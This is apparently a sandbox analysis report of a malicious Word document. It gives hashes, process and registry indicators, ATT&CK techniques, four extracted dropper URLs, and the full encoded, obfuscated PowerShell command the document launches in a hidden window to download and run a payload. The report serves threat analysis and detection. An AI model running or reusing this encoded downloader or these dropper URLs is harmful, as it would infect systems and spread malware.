b4fdb77c5b6eede55fa1025dcbd522ada24dc6fef82efbeac60934cb6a8e8005

Analysis

max time kernel
45s
max time network
77s
platform
windows10-2004_x64
resource
win10v2004-en-20220113
submitted
01-02-2022 04:23

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

b4fdb77c5b6eede55fa1025dcbd522ada24dc6fef82efbeac60934cb6a8e8005.doc
Size

109KB
MD5

be1f448868949ba25e0b199e1e3139b2
SHA1

87435983272d0ff58ffaf105452e3e6322694ed7
SHA256

b4fdb77c5b6eede55fa1025dcbd522ada24dc6fef82efbeac60934cb6a8e8005
SHA512

2834635393ff61b60a06573df17582740e8f41f6c2eb5bdda685c5d5dd494691f4a34748e9693fff3b5834c133eb969f0ba207b8b13677652f8c1dca9bf81a2d

Score

10^/10

persistence

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://rechholz.de/yYw1qvd/

exe.dropper

http://psd-ga.com/zapgovno/Nhfxs/

exe.dropper

http://gtdesign.ch/oFNj7EV/

exe.dropper

http://startstudio.it/nDFE7y/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	1356	4496	PowersHeLL.exe	81

Sets service image path in registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

Drops file in Windows directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.edb	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\ReportingEvents.log	svchost.exe
File opened for modification	C:\Windows\WindowsUpdate.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log	svchost.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Modifies data under HKEY_USERS 41 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4496	WINWORD.EXE
4496	WINWORD.EXE

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3200	svchost.exe
Token: SeCreatePagefilePrivilege	3200	svchost.exe
Token: SeShutdownPrivilege	3200	svchost.exe
Token: SeCreatePagefilePrivilege	3200	svchost.exe
Token: SeShutdownPrivilege	3200	svchost.exe
Token: SeCreatePagefilePrivilege	3200	svchost.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
4496	WINWORD.EXE
4496	WINWORD.EXE
4496	WINWORD.EXE
4496	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4496 wrote to memory of 1356	4496	WINWORD.EXE	92
PID 4496 wrote to memory of 1356	4496	WINWORD.EXE	92

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\b4fdb77c5b6eede55fa1025dcbd522ada24dc6fef82efbeac60934cb6a8e8005.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4496
- C:\Windows\System32\WindowsPowerShell\v1.0\PowersHeLL.exe
  PowersHeLL -WinDowsTyle hidden -e IABJAG4AVgBPAEsARQAtAEUAeABwAFIAZQBzAFMAaQBvAG4AKAAoACgAIgB7ADMANwB9AHsANQAzAH0AewAyADYAfQB7ADYAMgB9AHsAMgAxAH0AewA3ADYAfQB7ADcANQB9AHsAMwA5AH0AewAzADUAfQB7ADYAMQB9AHsANwAxAH0AewAzADAAfQB7ADYANgB9AHsAMwA2AH0AewA0ADQAfQB7ADAAfQB7ADYAOAB9AHsAMQAzAH0AewA2ADkAfQB7ADcAMwB9AHsAMQAwAH0AewA3ADIAfQB7ADcAOQB9AHsAMQAxAH0AewA2ADAAfQB7ADcAfQB7ADUANQB9AHsANAA5AH0AewA0ADgAfQB7ADYANwB9AHsANQAyAH0AewAyADUAfQB7ADcANAB9AHsAOQAxAH0AewA0ADAAfQB7ADUAOAB9AHsAOAAyAH0AewAyADgAfQB7ADYAfQB7ADUAfQB7ADMAOAB9AHsAOQAyAH0AewA4ADgAfQB7ADkAMAB9AHsAMgA3AH0AewA4ADUAfQB7ADMAfQB7ADEAfQB7ADIAMwB9AHsAOAA3AH0AewAzADQAfQB7ADYANQB9AHsAOAA5AH0AewA0ADEAfQB7ADQANwB9AHsAMQA3AH0AewA4ADYAfQB7ADQANgB9AHsANQA3AH0AewA5ADQAfQB7ADQAfQB7ADMAMQB9AHsANgA0AH0AewA1ADYAfQB7ADIANAB9AHsAMgB9AHsAOAAxAH0AewA2ADMAfQB7ADEAOQB9AHsANQA5AH0AewA1ADEAfQB7ADcAMAB9AHsANAA1AH0AewAxADYAfQB7ADUAMAB9AHsAMQA1AH0AewAzADMAfQB7ADUANAB9AHsANwA4AH0AewA0ADMAfQB7ADcANwB9AHsAOAB9AHsAMQAyAH0AewA0ADIAfQB7ADgANAB9AHsAMgAwAH0AewA4ADMAfQB7ADgAMAB9AHsAMgA5AH0AewA5AH0AewA5ADMAfQB7ADIAMgB9AHsAMQA0AH0AewAxADgAfQB7ADMAMgB9ACIAIAAtAGYAJwBaACcALAAnAG8ALwBOAGgAJwAsACcAaAB1AC4AZQB4AFoAaAB1ACsAWgBoAHUAZQBaAGgAdQApADsAZgBvACcALAAnAG4AJwAsACcAdQAnACwAJwBZAHcAMQBxAHYAZAAnACwAJwB5ACcALAAnAGEAJwAsACcAZwBOAHUAUgAoACkALAAnACwAJwBlAG0AWgBoAHUAKQAnACwAJwBtACcALAAnAHQALgBXAGUAYgBDACcALAAnACAANwAwAFoAUwAnACwAJwBlAGMAdAAnACwAJwBDACkAOwBiAHIAZQBhAGsAOwAnACwAJwBHAHYAJwAsACcAbwBoACcALAAnAC8AbgBEAEYARQA3AHkALwAnACwAJwB9ACcALAAnAGEAcwBmAGMAIABpAG4AJwAsACcAdQBrAFoAaAB1ACcALAAnAFoAJwAsACcAMABaAFMARAAnACwAJwBmAHgAcwAvAEAAJwAsACcAWgAnACwAJwB0AHQALgBjAG8AbQAvACcALAAnAGEAcwBkACAAPQAgACYAKABaAGgAdQBuAFoAJwAsACcAbQAvAHoAYQBwAGcAJwAsACcAZABlAC8AJwAsACcAdQBlAC0ASQB0ACcALAAnACAAPQAgAC4AKABaAGgAJwAsACcAYgBsAGkAYwAgACcALAAnAGMAYQB0AGMAaAB7AH0AfQAnACwAJwBsACcALAAnAC8ALwBnAHQAZABlAHMAaQBnACcALAAnAGgAdQArAFoAaAB1AHQAWgBoACcALAAnACsAWgBoACcALAAnADcAMABaACcALAAnAC8AQAAnACwAJwBlAGMAWgAnACwAJwBsAGoAJwAsACcAbwAuAGkAJwAsACcARABDACkAOwAmACgAWgBoACcALAAnAHYAJwAsACcAdQB3ACcALAAnAHUAUgBEACcALAAnAGgAdQAuAFMAcABsAGkAdAAnACwAJwB0ACcALAAnADIAMQAzACcALAAnADAAMAAsACAAMgA4ACcALAAnAEcAdgBXAG4AbABoAEcAdgBPAGEAZABGAEkAaAAnACwAJwA3ADAAWgBBAEQAQwBYACkAewB0AHIAeQB7ADcAJwAsACcACgBoAHQAdABwADoALwAvAHQAaABlAG8AbgBlAHQAcgB1AGUAbQBhACcALAAnAG4AcwBhAGQAJwAsACcAZQBOAHUAUgAoADcAMABaAGEAcwBmAGMALgAnACwAJwBkAGEAcwBkAC4AbgBlAHgAdAAoADEAMAAwACcALAAnACgAJwAsACcAKABaAGgAdQBAAFoAaAB1ACkAOwA3ADAAJwAsACcAcwB2AHgALwBAAGgAdAB0AHAAOgAvACcALAAnACAAJwAsACcAbABpAGUAbgB0ADsANwAwAFoATgBTAEIAIAA9ACAANwAwAFoAbgBzACcALAAnAHUAKQAgAHIAYQBuAGQAJwAsACcAaAB1ACsAWgBoAHUAZQAnACwAJwA3ADAAWgAnACwAJwArACAAWgBoAHUAUgAxADAAWgBoAHUAIAArACAANwAwAFoATgBTAEIAIAArACAAJwAsACcAbgAuAGMAaAAvAG8ARgBOAGoANwBFAFYALwBAAGgAdAB0AHAAOgAnACwAJwB1AG4AZQBaAGgAdQAnACwAJwAzACkAOwA3ADAAWgBBAEQAQwBYACAAPQAgAFoAaAB1AA0AJwAsACcAaAB1ACsAWgBoAHUALQBvAGIAagAnACwAJwBaAGgAdQAnACwAJwAwAFoAWQBZAFUALgBOACcALAAnAG8AbQA7ADcAMABaAFkAWQBVACcALAAnAC4ATgAnACwAJwApACAAUwB5AHMAdABlACcALAAnAHEAJwAsACcAWgBoAHUAdwAtAG8AYgBqACcALAAnAGgAdQArACcALAAnAE4AJwAsACcATgB1AFIAVABvAFMAdAByAGgARwB2AGkAaABHACcALAAnAGUAJwAsACcAWgBoACcALAAnAHIAZQBhAGMAaAAoACcALAAnAC8AcgBlAGMAaABoAG8AbAB6AC4AJwAsACcAKwAnACwAJwB1AEkAbgB2AG8AWgBoAHUAKwBaAGgAJwAsACcAbwB2ACcALAAnAFoAJwAsACcAaAB0AHQAcAA6ACcALAAnAGEALgAnACwAJwAvAC8AcwB0AGEAcgB0AHMAdAB1AGQAaQAnACwAJwBjAG8AJwAsACcARgAnACwAJwBoAHQAdABwADoALwAvAHAAcwBkAC0AZwAnACwAJwAoADcAJwAsACcAWgBTAEQAQwAgAD0AIAA3ADAAWgBlAG4AdgA6AHAAJwApACkALgBSAGUAcABsAGEAYwBlACgAKABbAEMAaABBAHIAXQA4ADIAKwBbAEMAaABBAHIAXQA0ADkAKwBbAEMAaABBAHIAXQA0ADgAKQAsACcAXAAnACkALgBSAGUAcABsAGEAYwBlACgAJwBOAHUAUgAnACwAWwBTAFQAcgBpAG4ARwBdAFsAQwBoAEEAcgBdADMANAApAC4AUgBlAHAAbABhAGMAZQAoACcAWgBoAHUAJwAsAFsAUwBUAHIAaQBuAEcAXQBbAEMAaABBAHIAXQAzADkAKQAuAFIAZQBwAGwAYQBjAGUAKAAoAFsAQwBoAEEAcgBdADUANQArAFsAQwBoAEEAcgBdADQAOAArAFsAQwBoAEEAcgBdADkAMAApACwAWwBTAFQAcgBpAG4ARwBdAFsAQwBoAEEAcgBdADMANgApAC4AUgBlAHAAbABhAGMAZQAoACgAWwBDAGgAQQByAF0AMQAwADQAKwBbAEMAaABBAHIAXQA3ADEAKwBbAEMAaABBAHIAXQAxADEAOAApACwAWwBTAFQAcgBpAG4ARwBdAFsAQwBoAEEAcgBdADkANgApACAAKQAgAA==
  2⤵
  - Process spawned unexpected child process
  PID:1356

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe a490c0788884a628c1d14b6365b5fa02 jW5FwuBBW0STXcRNHPSlVw.0.1.0.0.0
1⤵
- Modifies data under HKEY_USERS
PID:3384

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:3200

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/3200-149-0x000001FB7D590000-0x000001FB7D594000-memory.dmp

Filesize
16KB

Download
memory/4496-130-0x00007FFE621D0000-0x00007FFE621E0000-memory.dmp

Filesize
64KB

Download
memory/4496-131-0x00007FFE621D0000-0x00007FFE621E0000-memory.dmp

Filesize
64KB

Download
memory/4496-132-0x00007FFE621D0000-0x00007FFE621E0000-memory.dmp

Filesize
64KB

Download
memory/4496-133-0x00007FFE621D0000-0x00007FFE621E0000-memory.dmp

Filesize
64KB

Download
memory/4496-134-0x00007FFE621D0000-0x00007FFE621E0000-memory.dmp

Filesize
64KB

Download
memory/4496-135-0x00007FFE5FF80000-0x00007FFE5FF90000-memory.dmp

Filesize
64KB

Download
memory/4496-136-0x00007FFE5FF80000-0x00007FFE5FF90000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads